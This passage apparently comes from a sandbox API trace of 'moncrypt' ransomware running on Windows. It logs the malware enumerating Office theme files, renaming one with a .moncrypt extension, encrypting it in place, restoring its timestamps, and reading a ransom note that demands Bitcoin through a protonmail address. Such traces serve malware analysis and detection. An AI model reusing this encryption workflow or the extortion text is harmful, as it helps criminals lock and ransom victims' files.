lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 72 [0050.535] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\AXIS\\PREVIEW.GIFr", lpUsedDefaultChar=0x0) returned 4 [0050.535] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.535] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.535] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.535] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.535] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.535] GlobalUnlock (hMem=0x440004) returned 0 [0050.535] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.536] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.536] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.536] GlobalUnlock (hMem=0x440004) returned 0 [0050.536] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.536] GlobalUnlock (hMem=0x44000c) returned 0 [0050.536] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.536] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 73 [0050.536] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.537] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.537] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.537] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.moncrypt")) returned 1 [0050.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.538] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.538] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x8864 [0050.538] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.538] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.540] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.540] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.540] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.540] GlobalUnlock (hMem=0x440004) returned 0 [0050.540] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.540] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.541] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.541] GlobalUnlock (hMem=0x440004) returned 0 [0050.541] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.541] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.541] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.541] GlobalUnlock (hMem=0x44000c) returned 0 [0050.541] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.541] GlobalUnlock (hMem=0x440004) returned 0 [0050.541] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.541] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.541] GlobalUnlock (hMem=0x440004) returned 0 [0050.541] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.541] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.541] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.541] GlobalUnlock (hMem=0x440004) returned 0 [0050.541] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.541] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.541] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.541] SetFilePointer (in: hFile=0x18c, lDistanceToMove=34916, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x8864 [0050.541] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.541] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.542] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.553] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.553] CloseHandle (hObject=0x18c) returned 1 [0050.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.554] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.554] CloseHandle (hObject=0x18c) returned 1 [0050.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.555] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.555] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.555] GlobalUnlock (hMem=0x440004) returned 0 [0050.555] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.555] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.555] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.555] GlobalUnlock (hMem=0x440004) returned 0 [0050.555] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.555] GlobalUnlock (hMem=0x44000c) returned 0 [0050.555] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5be500, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f5be500, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f5e4660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.555] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.555] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.555] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.555] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.555] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.555] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.555] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.556] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.556] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.556] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.556] CloseHandle (hObject=0x18c) returned 1 [0050.556] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.556] GetLastError () returned 0x12 [0050.556] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.556] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.556] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.556] GlobalUnlock (hMem=0x44000c) returned 0 [0050.556] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.556] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.556] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.556] GlobalUnlock (hMem=0x44000c) returned 0 [0050.556] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.556] GlobalUnlock (hMem=0x440004) returned 0 [0050.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f5e4660, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f5e4660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.557] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.557] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.557] GlobalLock (hMem=0x440004) returned 0x550170 [0050.557] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.557] GlobalUnlock (hMem=0x440004) returned 0 [0050.557] GlobalLock (hMem=0x440004) returned 0x550170 [0050.557] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.557] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.557] GlobalUnlock (hMem=0x440004) returned 0 [0050.557] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.557] GlobalUnlock (hMem=0x44000c) returned 0 [0050.557] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.557] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f5e4660, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f5e4660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.557] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.557] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.557] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.557] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.557] GlobalUnlock (hMem=0x44000c) returned 0 [0050.557] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.557] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.557] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.557] GlobalUnlock (hMem=0x44000c) returned 0 [0050.557] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.557] GlobalUnlock (hMem=0x440004) returned 0 [0050.557] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.557] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x18a83, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM.moncrypt", cAlternateFileName="AXISEL~1.MON")) returned 1 [0050.557] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.558] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.558] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.558] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.558] GlobalUnlock (hMem=0x440004) returned 0 [0050.558] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.558] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.558] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.558] GlobalUnlock (hMem=0x440004) returned 0 [0050.558] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.558] GlobalUnlock (hMem=0x44000c) returned 0 [0050.558] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.558] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0050.558] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.558] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.558] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.558] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.558] GlobalUnlock (hMem=0x44000c) returned 0 [0050.558] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.558] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.558] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.558] GlobalUnlock (hMem=0x44000c) returned 0 [0050.558] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.558] GlobalUnlock (hMem=0x440004) returned 0 [0050.558] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.558] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5be500, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f5be500, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f5e4660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.558] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.558] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, 